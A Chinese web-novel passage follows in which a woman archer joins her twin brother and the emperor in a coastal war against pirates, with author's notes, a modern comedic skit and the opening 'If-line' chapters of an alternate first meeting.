听闻镇南王没毁容之前是个俊朗清秀的男子, 却没想到他的同胞妹妹更胜一筹。 “父亲母亲不放心你。”傅归荑有些心虚:“派我来支援一二。” “不许拿他们当挡箭牌!”傅归宜态度强硬:“你带的人我留下, 我明日便派人护送你回苍云九州。刀剑无眼,速速离开。” “哎……”傅归荑还想争辩一二,看见哥哥怒气冲冲的样子,一时语塞。 乌拉尔在看见傅归荑时整个人被震惊在原地, 她怎么长得跟……阿宜一模一样。 他的眼神来回在两人之间流转,最后视线不自觉落在眼前人白如暖玉的喉咙上, 平的……又无声地往下移。 “你眼睛往哪看!”傅归宜屈起手肘用力往后一桶, 直戳乌拉尔心口。 他活生生退后了两步, 弓起身不住咳嗽。 傅归荑这才注意到哥哥身后的故人,冲他展颜一笑。 乌拉尔的脸顿时涨红,手脚无措,局促地开口自我介绍:“我叫乌拉尔,是你哥哥的……” “陛下到!” 裴璟大步流星走过来,一眼就捕捉到人群中火红如艳阳的人。 傅归荑很少穿鲜艳的颜色,她以前总是希望不要引人注意,大部分时候以墨绿色和淡色衣服为主,隐匿在人群中。 她的五官虽然清丽,但眉眼中的坚毅其实很适合艳丽的颜色。 大红,也是正宫皇后的颜色。 裴璟内心已经在默默勾勒她穿上凤袍的身姿,面上却一派正经。 “何事喧哗?”裴璟停在傅归荑三步之遥,负手而立。 “见过陛下,陛下圣安!”众人行礼,傅归荑也跟着低头。 裴璟背在伸手的手紧了紧,兀自忍耐着不去扶她,不动声色扫了眼朝思暮想的人,看见她全身没有什么损伤,微微松了口气。 从苍云九州到渝州,最快也要十日,她怎么敢一个人上路,也不知道这一路上吃了多少苦。 “这位是……”裴璟按捺住激动的心情,装作不认识傅归荑。 当初他大闹傅归荑的婚礼后使了点手段,把消息封死在苍云九州。 傅归荑明白他是在遮掩自己女扮男装上京一事,恭敬报上名:“小女傅归荑,是镇南王的胞妹。” “不知傅小姐,远道而来有何要事?”他话里的语气也满是不赞同她以身涉险。 傅归荑不卑不亢解释一番。 听闻渝州战事胶着,她征得父亲同意,从苍云九州又带来一千擅远射的好手,其中有士兵,亦有寻常百姓。还有曾经追求她,后来拜她为师的富家公子。 “这些微薄之力虽然无法逆转局势,但聊胜于无。” 裴璟从她三言两语中看出她的意图。 “傅小姐想必是思兄心切,不妨留下观战。”他无视傅归宜冷峻的面容,淡淡道:“在后方驻地,不上船,不会有事的。” 傅归荑双眸一亮,不等哥哥拒绝,直言道:“多谢陛下!” 她留下一事便定了下来。 傅归宜冷笑了声,抓住傅归荑手臂往外走,丢下一堆看热闹的人。 傅归荑被推着往前走了几步,忽而回头看了一眼裴璟。 但见他站在原地,黑眸中闪过笑意,似乎在鼓励她,又带着几分关切的问候。 傅归荑冲他颔首微笑。 “陛下,陛下!”季明雪小声提醒:“人走好久了。” 裴璟回过神,眨眨眼,屈指放在唇边掩饰性地假咳一声。 环视一周,发现还有不少人和他一样望着傅归荑离去的方向。 心里一冷,他当年就知道她有多耀眼,庆幸她是以男儿身出现在众人眼前。 “还愣在这里做什么?”裴璟黑眸冰冷地扫了一圈呆愣在地的人,“速回岗位。” 他的眼神和威慑带着不容忽视的压迫,反应过来的将领士兵们纷纷如梦惊醒,后背发寒。 “是,陛下!” 一群人迅速作鸟兽散。 * “哥哥,别生气。”傅归荑小声道:“我只是担心你,我会保护好自己的。” 傅归宜抿着唇,看她一脸小心的模样,无奈道:“你这一路有没有遇到危险?” “没有,”傅归荑见哥哥表情松动,赶紧安抚他的心:“我带了一千人,还有镇南王府的旗帜,谁敢不识相,一路上畅通无阻。” “还算聪明。”傅归宜故意哼了声:“忽然出现吓了我一跳。” “我想给哥哥一个惊喜。” “惊很多。”傅归宜笑道:“喜,也有一点。” 傅归荑挽着傅归宜的手跟着笑,清脆的笑声扫除了他心里因久攻不下的海寇带来的郁闷。 来到渝州城,傅归荑才知道战况比想象中的更激烈。 渝州城海岸线极长,城内的百姓有半数都以渔业为生,几乎家家户户都遭过海寇的侵害。 这群海寇采用零星作战骚扰的方式,经常会从不同的水域靠近。他们的船只经过改造,大船掩护小船,小船机动性强,躲避重弩的射击很有一套。 南陵水师发展缓慢,面对人数众多的海寇显得有些捉襟见肘,尽管裴璟已经下令大力制造船舰,又调来商船加以改造,也只能堪堪抵御而非主动进攻。 之前指定的潜水计划因为天气变凉而夭折,冬日潜行对于士兵们的身体负荷大,潜水距离也不如预期。 “那些海寇会在接近我们的船时扔带线的长钩,挂在桅杆上,再顺着绳子划过来,登上我们的甲板。” 傅归宜绘声绘色给傅归荑描述:“他们一手长刀,一手短刀,交替使用,凶悍无比,与我们南陵惯用的武艺大不相同。这也是之前为什么渝州水师被打得毫无还手之力。距离太近,弓箭威力骤减,我们损失惨重。” 傅归荑听着心都提起来了。 傅归宜话语中有几分得意:“后来陛下带来连弩,对着登陆的海寇一顿狂射,打得他们措手不及。那次是渝州水师对抗海寇取得的第一场打胜仗,杀得他们有来无回。” 傅归荑憋在胸口的气缓缓吐了出来,胸口明显凹进去一块。 “那为什么战事会一直持续?” 傅归宜叹了口气,眉宇间带上烦躁:“他们跟耗子似的,正面打不过,就玩阴的。不固定时间也不固定地点分头骚扰,连弩打造耗时耗力,没办法人人一架,还有船只也是问题。” 这群海寇盘踞海上多年,熟悉海上航行路线,利用天然优势与南陵军队打游击战。 “好几次我们来不及回防,让海寇成功登上海岸,离海岸线最近的几个村庄都被烧杀劫掠一空。” 海岸线太长,他们不可能做到每个地方都像正海岸口那样严防死守,武器精良。 海寇这一头被裴璟打得死伤无数,转头就冲去其他防守较弱的地方疯狂报复。那几个没能来得及支援的小村庄,无一活口。 傅归宜已经很久没见过裴璟如此震怒。 等下一次海寇来犯,他亲自登船出海活捉了其中一个首领,把他的脑袋砍下挂在桅杆上,并扬言势必要清除掉所有沿海蠹虫,不留一个活口。 海寇们刚开始被吓到了,有一段时间不敢造次,后来卷土重来时,放狠话要取南陵皇帝的性命,还要打进南陵皇宫,自己做皇帝。 “双方都在蓄力,海寇的计划我们不得而知,陛下则是大力拨款制造连弩和重弩,还有战舰。” 傅归宜不想给妹妹展示过多不好的一面,他把人带到自己分到的院子里:“你住这里,不许出城,最多去城墙上看看。” 还不等傅归宜交代什么,只听刺耳的号角响起,他丢下一句别乱走便往外疾行。 傅归荑等他走后没多久,拿起逐月弓往城墙方向跑。 守城的正好是熟人,季明雪看见她来了如临大敌,劝她赶紧下去,海寇中也有人擅射,害怕她不小心受伤。 “我哪有这么容易被射中。”傅归荑站在城墙上,抬手放在眉宇之上远眺。 裴璟和傅归宜各自率领一个船队夹击海寇。 “拿箭来。”傅归荑的语气让季明雪无端想到陛下,下意识照做。 裴璟一剑刺穿海寇的心口,正准备拔剑,那人在死前爆发出最后的力气徒手握住他的剑刃,任由鲜血汩汩流下。 原来他是为了给另一个海寇制造机会。 裴璟后颈忽然感觉有寒芒闪过,正准备弃剑侧翻躲开,一声闷哼传来。 回眸望去,偷袭他的海寇手握长刀,不可置信地垂眸。 一只箭羽穿吼而过,血珠凝聚在箭尖,滴在裴璟侧脸上。 他双指并拢,缓缓抹匀,在脸上拖出一道艳红。 冷峻的寒眸,鲜红的血痕,摄人的气势,周围的温度骤降,敌我双方同时感到不寒而栗。 裴璟用力抽出长剑,反手一捅,又取了一条性命。 他一脚踢倒挡在面前的尸体,与城墙上那道红影隔空相望。 长空如碧,海浪翻涌。 裴璟唇边挂上若有似无的笑意,手里的动作却是一下比一下更狠。 * “傅兄,你妹妹射箭与你比谁更胜一筹啊?” “镇南王,令妹的风采叫人倾慕,你看我们有机会成为亲家吗?” “我想当面感谢她的救命之恩,傅兄能不能引荐一二。” “我也要感谢。” “还有我。” 全歼这次来犯的海寇后,傅归宜一上岸就被人包围,他们叽叽喳喳地吵成一团,话题不外乎围绕一个人。 他的妹妹,傅归荑。 方才在海上作战时,傅归荑以长弓为辅射杀登上甲板的海寇,救下不少人。 海面上风速变化莫测,与平地远射截然不同,对于弓箭的精准度把控要求极高。 稍有不慎,救人很有可能变成杀人。 然而傅归荑没有一支箭射偏。 一战成名。 红衣美人,箭无虚发。 接下来的几日“傅归荑”三个字以一种爆发式的速度争相传诵,人人皆知。 渝州城上至将领,下至普通士兵都知道有这么一号人。 裴璟恰好在此时登岸,傅归宜用余光瞟了一眼他脸上的干透血渍。 “好啊,”他故意扬声:“报恩不能空口白话,你们总要备份礼物,到时候我给你们转交。” “好的,好的。”众人如小鸡啄米般点头,心里纷纷想要用什么礼物才能回报救命恩人,最好还能够打动佳人。 裴璟淡淡扫了傅归宜一眼,没说话,眼神却愈发凌厉。 当天晚上,裴璟亲自送来一条烤鱼。 “我说,”傅归宜挑剔道:“你这也太磕碜,一国之君的命只值一条烤鱼?” 裴璟没理他的冷言冷语,悉心地替傅归荑挑鱼刺。 他环视一圈,皱起眉头。 这里条件简陋,靠近城墙,空气里隐隐弥漫着海风的腥气。 当初分给傅归宜时主要考虑海寇来袭,他听到号角后能迅速响应,没考虑过其他的。 傅归荑在桌底下踢了哥哥一脚,示意他别乱说话。 她在苍云九州的时候就发现,裴璟对哥哥格外容忍,换做其他人,别说敢这样当面顶撞他,恐怕连对视都怵得慌。 他到底是一国之君,在自己家的地盘也罢,现在是渝州城,当着众人的面还是要收敛些。 傅归荑不好意思地替他道歉:“哥哥今日累了,陛下莫怪。” 说完还主动给裴璟夹了一筷子菜放到他碗里。 裴璟脸上带了点笑,夹起一口吃掉:“习惯了。” 傅归荑闻言抿了抿唇,瞪了傅归宜一眼,告诉他别太过分。 酒足饭饱,裴璟提出让傅归荑搬到他住的府邸,旁边有个二进的独立小院。 “想都别想,”傅归宜甩了筷子,冷冷道:“她只能在我身边。” 裴璟心平气和地解释这里不适合她一个女儿家居住。 傅归宜住的地方还混杂着很多闲杂人等,比如跟他一同受令前来支援的世子们也一同住在院子里。 裴璟:“你们可以一起搬过去。” 傅归宜犹豫地看着妹妹,裴璟住的地方离城门有一定距离,若是海寇来袭他需要花费更多的时间响应。 傅归荑看出哥哥的纠结,直言自己会关好门窗,不随意走动,料想那些世子们也不敢乱来。 裴璟听见傅归荑拒绝,便没再多言。 往后几日,海寇没有来挑事。 然而,不少世子借着傅归宜的名号来拜访傅归荑。 “傅小姐,当年我与你哥哥一同在南陵读书,他跟我说过你。” 傅归荑一脸迷惑,好像他们两都没说过几句话。 “傅小姐,他撒谎!”马上有另一个世子把面前的人猛地挤到旁边,手里拿着锦盒递到傅归荑手上:“我与你哥哥是至交好友,他当年说以后咱们两家多走动。这是我祖传的玉佩,今日送与小姐以谢救命之恩。” 傅归荑哪里敢拿。 她看了一圈,这些人当初连与她说句话都小心翼翼的,怎么忽然恁地热情。 “滚!滚!”乌拉尔从后面出来把这群人都赶走:“别来烦傅家妹妹,小心阿宜回来让你们吃不了兜着走。” 傅归荑趁机溜回房间。 乌拉尔还没跟她说上一句话,看着她逃跑的背影,有种似曾相识的感觉。 “滚回去。”他烦躁地赶人,恶狠狠道:“以后不许来。” “乌拉尔,你别太过分,当年霸占傅归宜,现在还要霸占他妹妹。” “就是,公平竞争。” “别乱说,小心我拔了你的舌头。”乌拉尔怒目而视:“别坏了人姑娘家的名声。” 傅归荑隔着门听见乌拉尔的怒吼,低头一笑。 晚上傅归宜回来便听说了这件事,气得他差点直接冲出去找那群人麻烦,被傅归荑拉住了。 又过两日,傅归宜让她收拾东西,准备搬去裴璟的地盘,世子们不敢去那边造次。 “这群人跟苍蝇一样,怎么都赶不走。”傅归宜后悔极了,当时为何要逞那口舌之快,现在麻烦不断。 傅归宜不信,如今城内关于傅归荑的传闻没有裴璟在背后推波助澜。 他肯定是故意的。 什么天降神女,箭神转世。 他时常走在路上被人拦下来问是不是真的,院子外面窥探的人不胜其烦。 晚上两兄妹安顿好,去感谢主人家腾地方。 裴璟告诉傅归荑有什么需要尽管提,她笑着说不用。 “你怎么还不走?”裴璟坐在书桌前,上面放了张渝州城附近的海图,他抬眼发现房间里只剩下傅归宜一人。 傅归宜来兴师问罪:“城里的流言蜚语是不是你放出的风声,你难道想用这些子虚乌有的东西逼她就范?” 裴璟是真龙天子,那可不就要配天降神女吗? “你想多了?”裴璟继续看图,“我只是把她应得的还给她。” “什么意思?” “她做你的替身做了十三年,如今她终于可以堂堂正正用‘傅归荑’的名字立于世人眼中,有什么问题?” 傅归宜语塞,语气软了下来:“我总感觉你不仅仅只有这一个目的,你惯是会一石二鸟的人。” “你要是闲得慌,去安排傅归荑带来的一千人,他们都擅远射,可以保障前方将士们的生命。” 带来的人虽然没有傅归荑的技法精湛,却也是一等一的好手,可以射落挂在空中即将登船的海寇。 “知道了。”傅归宜转身离开。 裴璟等他走后若无其事地喝了一口热茶。 天生凤命,是下一个要加进去的。 人都到他的地盘上了,不着急,慢慢来。 海寇这次似乎在酝酿一场大风暴,接连数十日都没有动静,海风里却到处可闻一触即发的火药味。 月亮渐渐有了圆满的趋势,傅归荑却觉得硕大的明月压得她胸口闷闷的。 她在座府邸里随意散步,忽然发现道路两旁,还有草丛各处都开满了花。 春天来了。 “渝州除了海货,还盛产玫瑰花。”裴璟的声音从后面响起。 傅归荑转头,正要行礼被他拦住:“这里没有外人,你我之间不必如此客套。” 她没坚持,改为颔首示意。 “睡不着?”裴璟与她并肩缓行,“害怕打仗?” 傅归荑摇摇头:“我不喜欢战争,但并不畏惧。” 裴璟笑道:“你一向很勇敢。” “陛下谬赞。”傅归荑的声音在黑夜里显得更清冷:“去拼杀的将士们比我更担得起这两个字。” 裴璟莫名笑了下。 傅归荑迷茫了瞬间,反应过来后耳根子悄悄发热。 两人都没再说话。 走到一处转角,一片玫瑰园显露人前。此时园内的玫瑰花竞相开放,月华洒在花瓣的露珠上,反射出晶莹的光。 空气里淡淡的海味似乎被花香掩盖,无处不在地包裹着两人,形成一处看不见的微妙空间。 裴璟的存在感在一瞬间极致凸显。 傅归荑有点不自在,找了个话题打破暧昧的气氛。 “陛下,哥哥平日里对您多有冒犯,请您多包含。”傅归荑承诺:“我会告诫他往后注意分寸。” 裴璟轻笑道:“没关系。我知道他是在为你打抱不平,也有故意惹怒我的成分。” 傅归荑听懂了前半句,没听懂后半句。 “你放下了,他还没有放下。” “他一直自责愧疚,没有保护好你,甚至成为迫害你的帮凶。” 傅归荑心头微颤,眼眶染了一丝酸热。 “你不肯责怪他,他只能来找我,他想用我的惩罚来赎罪。” 傅归荑声音闷哑,眼睫如玫瑰花瓣般染上水珠:“我竟然一直没有注意到这点。” “没关系,他应该快了。” 裴璟暗道,傅归宜折腾了他这么久,又是抽他,又刁难他,还各种冷言恶语相向,这次他愿意住进来已经表示退步。 “你别跟他说,”裴璟俯下身摘了一朵红色的玫瑰递给傅归荑:“我会解决的。” 为了傅归荑,他愿意放下身份去接受傅归宜对他的各种惩罚,直到他满意为止。 傅归荑垂眸凝视着眼前盛放的玫瑰,鼻尖全是花的香味。 作者有话说: 裴璟:老婆夸我勇敢,暗自窃喜。 乌拉尔:傅妹妹逃跑的身影,怎么跟当年跑温泉逃跑的阿宜背影那么像。 ———— 现代小剧场 裴璟在下课后堵住傅归荑,压下心里的郁气,尽量让自己看上去心平气和。 “你为什么要拒绝我?” 傅归荑抬眸望着裴璟,他眼底青黑,脸如锅底,看着有点吓人。 他不会因为我拒绝他,现在要来找我麻烦? 裴璟那么骄傲的一个人,肯定没有被人拒绝过。 傅归荑动了动喉咙,小心斟酌词句:“是我不配。” 她尽可能放低姿态,希望早点息事宁人。 裴璟恶狠狠道:“我说你配我,谁敢多说一句。” 裴璟以为傅归荑自卑,话音一转变得温和:“我觉得你是天底下最好的女孩子。” 傅归荑听后抿了抿唇,视线落在他脸上,又很快移开目光,脸红红的,肯定是害羞了。 裴璟决定再加一把火:“在我眼里,你是独一无二的。你优秀,善良,心思纯净……” 他细数傅归荑的各项优点,连她每次吃东西都践行光盘行动都被拿出来夸赞一番。 傅归荑的脸愈来愈红,眼神不住地往四周瞄,千万别被其他人听见这些,真是难为情。 裴璟如数家珍地说完,他朝傅归荑伸出手,眼神鼓励眼前人把手放上来。 傅归荑往后退了一步,憋出一句话:“那,你不配。” 裴璟差点没喘过气。 傅归荑为了论证这点补了个论据:“我上次看见,食堂的饭你只吃了一口就全倒掉了。” 裴璟咬牙切齿道:“因为饭是生的。”【你现在阅读的是 】 完结&番外 91 If线1 ◎傅归宜未走散,他们相遇在一个夏日。◎ 夏日蝉燥, 比火辣辣太阳更热的南陵与北蛮的战争。 自三年前南陵太子裴璟从北蛮返回本国,历经三年改革,南陵朝堂焕然一新, 一改之前国势积弱、任人宰割的境况, 变得国富民强, 兵力充足。 在北蛮再一次提出要裴璟继续为质时, 他带着十万大军兵临城下, 吓得北蛮全国上下民心不稳。 裴璟以一己之力挑起天下战乱, 战争持续一年后,不但南陵和北蛮两大势力打得水深火热,连同夹在两国之间的游牧部族也被迫卷入这场瓜分天下的棋局。 要么归附北蛮, 要么投靠南陵。 选择第三条路自立或者中立的部族, 在一年的时间内全都消失殆尽。 这是一场豪赌,傅归荑所处的部族在天下争端初现时, 选择将全部身家压在裴璟身上。 傅家以牧马牧羊为生,拥有三千擅骑射的精兵强将,是北蛮一直想拉拢的势力,却不曾想投了裴璟。 傅归荑今年十六岁,她父亲正是部族族长,她还有个同胞哥哥叫傅归宜,现在正跟着父亲在前线作战。 双生子总是比寻常孩子要弱些,傅归荑更是生下来体弱多病,三天小病, 五天大病,家里人都把她当做瓷片做的, 碰不得。 傅归荑自幼在床榻和药碗中度过, 她知道家人为她的身体操碎了心, 从不去做危险的事情,每天安安静静地呆在房间里。 反观傅归宜皮实健壮,从小到大都没生过大病,从高高的马上摔下来只躺了半个月,又活蹦乱跳起来。 同胞两兄妹一动一静。傅归宜是一刻也坐不住,仿佛凳子上长了利刺似的,而傅归荑则可以一整天不挪动一寸,甚至连一句话都不说。 好在两人感情很好,傅归宜在外面遇上什么好东西都会带回给妹妹,哪怕是只野鸡路过,他也要拔下最漂亮的羽毛带回来给傅归荑做装饰。 傅归荑环视房间里琳琅满目的小物件,心中忧虑。 父亲和哥哥已经离开近一个月,却没有一点音讯传回来。 这两日她频繁地出现心脏绞痛,夜里常常被疼醒,后背沁满一层冷汗,湿透了衣衫。 哥哥出事了。 她不敢将这件事告诉母亲,只能自己忍下来,再暗地打听如今的战况。 可恨她的身体不中用,否则真想骑马赶赴前线,亲自确认父亲和哥哥是否安然无恙。 “来人啊,少主受伤了。” 外面响起一阵兵荒马乱声。 傅归荑的心脏瞬间像被刀刮了似的,她紧咬下唇,捂住胸口踉跄着往外走。 掀开厚重的营帐帘子,营门外一群人慌张地抬着个担架往里走,傅归荑眼尖,认出是哥哥的衣服,慌忙赶过去。 裴璟这个月正在攻打北蛮的一座重要城池,傅归宜登先时不慎受伤,裴璟也被敌军流矢射中了手臂,两人被立即送往后方傅家大本营救治休养。 傅归宜在路上只被简单的包扎了一下,然而背上和肩上的伤口太深,很快发起高热,昏迷不醒。 裴璟随着傅归宜一起进了帐篷,他坐在床边,眉头紧皱盯着床榻上脸色惨白的人。 “大夫怎么还没来?” 裴璟呵斥道,周身弥漫着摄人的气势。 “太子殿下息怒,已经派人用最快的速度去周围找了。” 如今战事全面铺开,南陵来的大夫有一个算一个都被派上前线,如今他们算是稀缺资源。而游牧部落的医疗条件简陋,几乎都是摸着石头过河的游医,但也几乎都在前线,留在后方的需要辗转不同的部落对送回来的伤员进行救治。 “哥哥怎么了?”帐外忽然发生争吵,裴璟眉头皱得更深。 外面很快进来一个人,告诉他是傅归宜的妹妹吵着要进来看她哥哥。 “这时候还添什么乱?”裴璟抬手揉了揉额角,脑门突突的跳。 傅归宜的妹妹? 他倒是听父子二人提过,是个柔软不能自理的姑娘。万一她进来接受不了满身是血的傅归宜大哭大闹,亦或者晕过去更加麻烦。 “把她请回去。”裴璟不耐道。 还不等侍卫去执行命令,帐帘被猝不及防掀开,一个身穿白衣红裙的少女昂首挺胸地闯入裴璟眼中。 她五官标致,妍姿艳质,饶是裴璟见过诸多美人也不得不承认眼前这位女子容貌上乘,一眼难忘。 此刻她脸色苍白,脚步不稳更添一分楚楚动人,然而在对上她的眼睛时又会改变看法,乌黑的双眸平静无波,面对周围杀伐之气浓重的侍卫丝毫不惧。 “这里是我家,没有任何人能阻止我去任何地方。”傅归荑声音清冷却掷地有声,眼睛环视一圈,目光最后落在裴璟后面的傅归宜身上。 裴璟眼眸半眯,心里烦躁不堪。 等会她若是哭闹起来,就不能怪他无情赶人了。 傅归荑的视线转向裴璟,然而仅仅只是冷淡地看了一眼又转回道傅归宜身上。 “哥哥!”她神色焦急,大步走过来,路过裴璟时衣裙飞扬,裙摆带起一阵风扑在他身上,无端送来一丝凉爽。 傅归荑发现哥哥的脸透着不正常的潮红,俯身抬手覆上他的额头,烫得她立刻收回手。 傅归宜的伤在肩膀,脖子,手臂,和周围的衣料都被溅了血,白色的绷带绑了一圈又一圈,厚厚一层。 “他被刀砍伤右肩,伤口很深,从云梯上滚下来的时候抓住了登墙的粗绳,又撞上城墙,肺腑也有伤。”裴璟企图用言语吓退傅归荑。 光是听描述便知傅归宜当时的情况有多凶险,傅归荑的心口更疼,她强忍着没表现出来。 裴璟瞥了眼被她咬出印痕的下唇,淡淡道:“傅小姐先回去休息,等大夫来了再做打算。” 说罢示意手下过来送人回去。 傅归荑对他的话置若罔闻,反而对外面的人下令:“去给我拿一壶烈酒,还有剪刀、针线。” 部落里的人虽然畏惧裴璟,可他们心里清楚傅归荑在傅归宜父子心里的地位,守在外面的人听到后立刻去准备她要的东西。 裴璟看念在傅归宜父子为南陵所做的一切,开口再劝:“傅小姐,请你……” “我说,给我拿东西来。”傅归荑打断裴璟,眼睛却没有对着他,朝门外厉声道:“我的话,不管用了吗?” 此言一出,周围的人噤若寒蝉,心道傅少主的妹妹简直胆大包天,敢在太子殿下面前放肆。 裴璟没有因为傅归荑出言不逊而生气,反倒对她生出一丝好奇。 她一进来,便没有把他放在眼里。 傅归荑不是怠慢他,也不是轻视他,而是……不畏惧他,她眼里除了她哥哥,对周遭的一切毫无反应,有一种对目标的坚定。 平常女子见到他,要么是畏惧,要么是有意接近,唯独她只把他当做一个普通平凡的人。 等到东西送来的时候,裴璟没为难,放人进来。 他倒是想看看,傅归荑想做什么。 但见傅归荑拿起一把锋利的剪刀对着傅归宜裹紧的绷带一剪下去,血肉模糊的伤口瞬间展露在眼前。 傅归荑似乎被血腥之气冲到,皱着眉不舒服地抽动了下鼻尖,脸上却没有出现慌乱或者崩溃的神情。 裴璟暗赞了一声临危不乱。 她抬手掀开酒壶红绸,陈年烈酒的味道瞬间弥漫开。 傅归荑举重若轻地抬起陶壶,面不改色地仰头倒了一口在嘴里,啧了声:“勉强。” 裴璟看着被酒润湿的红唇,脑子出现瞬间空白,他忽然觉得自己有些渴,鬼使神差地也想尝一尝这烈酒的滋味。 傅归荑对他的反应毫无所觉,兀自将烈酒小心冲洗傅归宜身上的伤口,再用干净的纱布替他擦拭。 疼痛令傅归宜难受地皱眉,傅归荑看见后声音马上软下来:“哥哥忍一忍,马上就好了。” 她的目光温软,手下动作更轻。 裴璟心脏的某个地方忽也软了一角。 冲洗完伤口后,傅归荑拿起针放在火上炙烤尖头,细心地挑出伤口里细碎的石子。有些藏得很深,她并没有因为傅归宜难受地哼哼而心软,手下动作又稳又快,嘴上语气却软软动人。 “还有最后几个,坚持一下,哥哥最棒了。” 跟哄小孩似的,裴璟不动声色地鄙夷着,然而他的目光却一直没有移开傅归荑的侧脸。 他自幼离家远赴为质,在北蛮皇宫内单打独斗,历尽千辛回到南陵,他的那些兄弟姐妹们只有盼他死的,没有盼他好的。 受了伤要藏着捂实,否则等待他的不是慰问关心,而是落井下石,致命一击。 他看着傅家兄妹两,心底不可自抑地生出一丝欣羡。 傅归荑给哥哥处理好伤口,又拿出一瓶止血生肌的药粉洒在上面,这药沾了血会有些疼,她往傅归宜嘴里塞了块干净的帕子,以防他咬伤自己的舌头。 重新包扎的时候傅归荑犯了难,傅归宜长得人高马大,她一个人翻动他的身体比较吃力。 忽然一只手从旁边伸过来,轻而易举地提起傅归宜上半身。 傅归荑愣了下,立马回过神后迅速动手,两人合力替傅归宜包扎好。 “谢谢。”傅归荑垂眸道。 “小事。”裴璟低声回她,看了眼傅归荑额头上冒出的细汗,又听见她急促隐秘的喘息,好心劝了句:“回去休息,他有情况我会立刻派人通知你。” 傅归荑嗯了声,人却在原地没动。 过了半晌,她小声道:“你的手臂上好像也受了伤,要不要重新包扎一下。” 白色的绷带隐隐透出血色,想必受的伤也不轻,而他自始至终没有提一句。 按照裴璟原本的性子他是定然不会在不熟悉的人面前袒露伤口的,然而他脑子里骤然划过刚刚傅归荑替傅归宜清理伤口的画面,拒绝的话道嘴边变成了:“麻烦你了。” 傅归荑依葫芦画瓢耐心又认真地替他上药,包扎。 两人的距离很近,近到裴璟一低头,目光便能将她全身笼罩其中。 她低着头,露出后脖颈如同羊脂玉般温润细腻的肌肤。 裴璟偶尔曾听傅归宜说起过自己的妹妹,在他口中自己的妹妹是个柔弱的小姑娘,捧在手里怕摔,含在嘴里怕化。 因而他对傅归荑的印象与对南陵的贵女们差不多,整天关心穿着打扮,遇到点事只会大呼小叫,啼哭不止的娇小姐。 裴璟看着傅归荑灵活的手指在他手臂上来回缠绕,白皙的指尖飞舞,眼眸渐渐变得暗沉。 “好了。” 傅归荑站起身,然而连续的操作让她体力不支,一不小心往前倾倒。 裴璟不期然抱了个满怀柔软。 作者有话说: 裴璟:这次开局看我换个套路,迅速获得老婆芳心,绝对不需要再用40w字。 手动感谢灌溉营养液的小天使: 栖迟 50瓶; bb 10瓶; 墨颜 1瓶; 万能椰子油 1瓶; 黑胡椒猪肚鸡 1瓶; 本章也插个眼 92 If线2 ◎你为什么躲我?◎ 帐篷内除了躺在床上不省人事的傅归宜, 此刻只有裴璟和傅归荑两人。 傅归荑扑过来的瞬间,裴璟其实能够避开,然而这样她非摔在地上不可。 裴璟厌恶被人接近, 因为这些人要么想刺杀他, 要么想赖上他, 但是傅归荑不一样。 他想也没想, 伸手去接她的肩。 谁知道裴璟错误的预估傅归荑倒下的距离, 本想扶住她的肩头, 却往下移了几寸。 傅归荑呼吸一窒,脑子一片空白。 裴璟掌心的东西软绵绵的,身体却僵硬得像块石头。 死一般的寂静包裹着两人, 床榻上重病的人呼吸愈发清晰。 “大夫来了。” 傅归荑心里一紧。 帐帘被掀开的瞬间, 她咬牙一推,借力直起身, 往后踉跄着退了两步,恰好扶住一旁放置衣物的橡木架。 裴璟被推也纹丝不动,他下意识想要去扶她,看出她明显地拒绝后悻悻然收回手。 灰白胡子的大夫背着药箱匆匆走过来,正插在两人中间。 他坐在床头,正要拆了纱布检查傅归宜的伤口。 “慢着。”傅归荑顾不上方才发生的乌龙,连忙阻止大夫继续。 她三言两语,简明扼要地说明了傅归宜的情况,又将自己做的事情告诉大夫。 大夫抚了抚胡须, 频频点头,把脉过后写了副药方递给傅归荑, 告诉她服用方法。 傅归荑听得很认真。 裴璟看她很认真。 傅归荑的侧脸红彤彤的, 唇瓣却有些发白, 长睫颤颤巍巍地悬在空中,眼眸如星子般绚烂。 傅归宜长得怎么与他妹妹一点也不像,他们不是双生子么? 裴璟的目光不受控的往下移,她在说话的时候有一只手竖着放在胸口,似乎在有意遮挡什么。 他及时收回视线,喉间却明显滚动了下。 “少主从小瓷实不打紧,倒是小姐气色不佳,不如让老朽把个脉。” 裴璟被这道声音打断了旖念。 “不用了。”傅归荑另一只手也缩在胸口,扯出个虚弱的笑:“我的身体情况我清楚。” 大夫目光有些不赞同。 傅归荑祸水东引,指了指裴璟手臂上的伤:“您给他也看看,是否需要另外服药,我叫人一并煎。” 裴璟摇头,表示自己不需要。 大夫扫了他一眼,看他面容虽有疲态,双眼却炯炯有神,像有一团烈火在燃烧,周身气势摄人。 傅归荑见状马上赶人走,却被裴璟叫住。 他走到傅归荑旁边,控制力道握住她被衣服裹着的手腕,不容拒绝道:“替她看看。” 傅归荑想抽回手,却发现怎么也动不了。 大夫虽不知道面前这个人是谁,但他的语气似乎天生有种让人臣服的力量,不自觉顺着他的话照做。 “傅小姐近日忧思甚多,伤了心神,要多休息切忌不可劳心劳力。”游医又留下一副药方才离开。 傅归荑拿着方子跟着往外走,裴璟眼疾手快地从她手里抽走薄薄的两张纸。 “你……”傅归荑新仇旧恨的恼怒一股涌上来,双目瞪着裴璟,沉下脸冷声道:“我尊敬太子殿下,也请您尊重我。” 裴璟听后轻笑一声:“原来傅小姐知道孤的身份。” 傅归荑双唇紧抿,她早知道他是谁,故意装作没认出来是为了省去些繁文缛节。 若是她早先承认他的身份,便不好在众人面前下他的脸,为哥哥争取救治的时间。 裴璟在瞬间看透了她的心思,不由欣赏傅归荑的有勇有谋。 在他威慑下能面不改色地装作一无所知,遇事从容镇定,傅归荑可不像她哥哥说的那样,是朵养在温室的花,半点经不起风霜。 她今日的表现大大出乎裴璟的意料。 傅归荑福身,垂眸恭敬道:“适才情况危急,我失礼了,请太子殿下恕罪。” 裴璟眸中的赞赏之色更浓。 能进能退,能屈能伸,比她哥哥这个刺头强多了。 裴璟审视的目光落在傅归荑头顶,刺得她头皮发麻,她只想马上离开。 “请殿下将药方给我,我去吩咐人煎药。”傅归荑伸出右手讨要东西,头依旧低着,脊梁却是笔挺的。 裴璟撇了眼葱白纤长的五指,淡淡道:“大夫说傅小姐不宜劳心劳力,这点小事我来办妥。” 他当着傅归荑的面叫人进来听命:“按照药方熬制,若是缺什么药材取我的令牌去附近的城池府衙取,每日都要按时送过去,知道吗?” “是!”士兵毕恭毕敬地双手接过药方,一板一眼走出去。 傅归荑听出裴璟的言外之意,告诉她别想在喝药这件事上耍小聪明,轻咬下唇,冷冰冰告辞后拂袖而去。 裴璟等她离开帐篷后,不由地掩唇笑起来。 好像把人惹生气了。 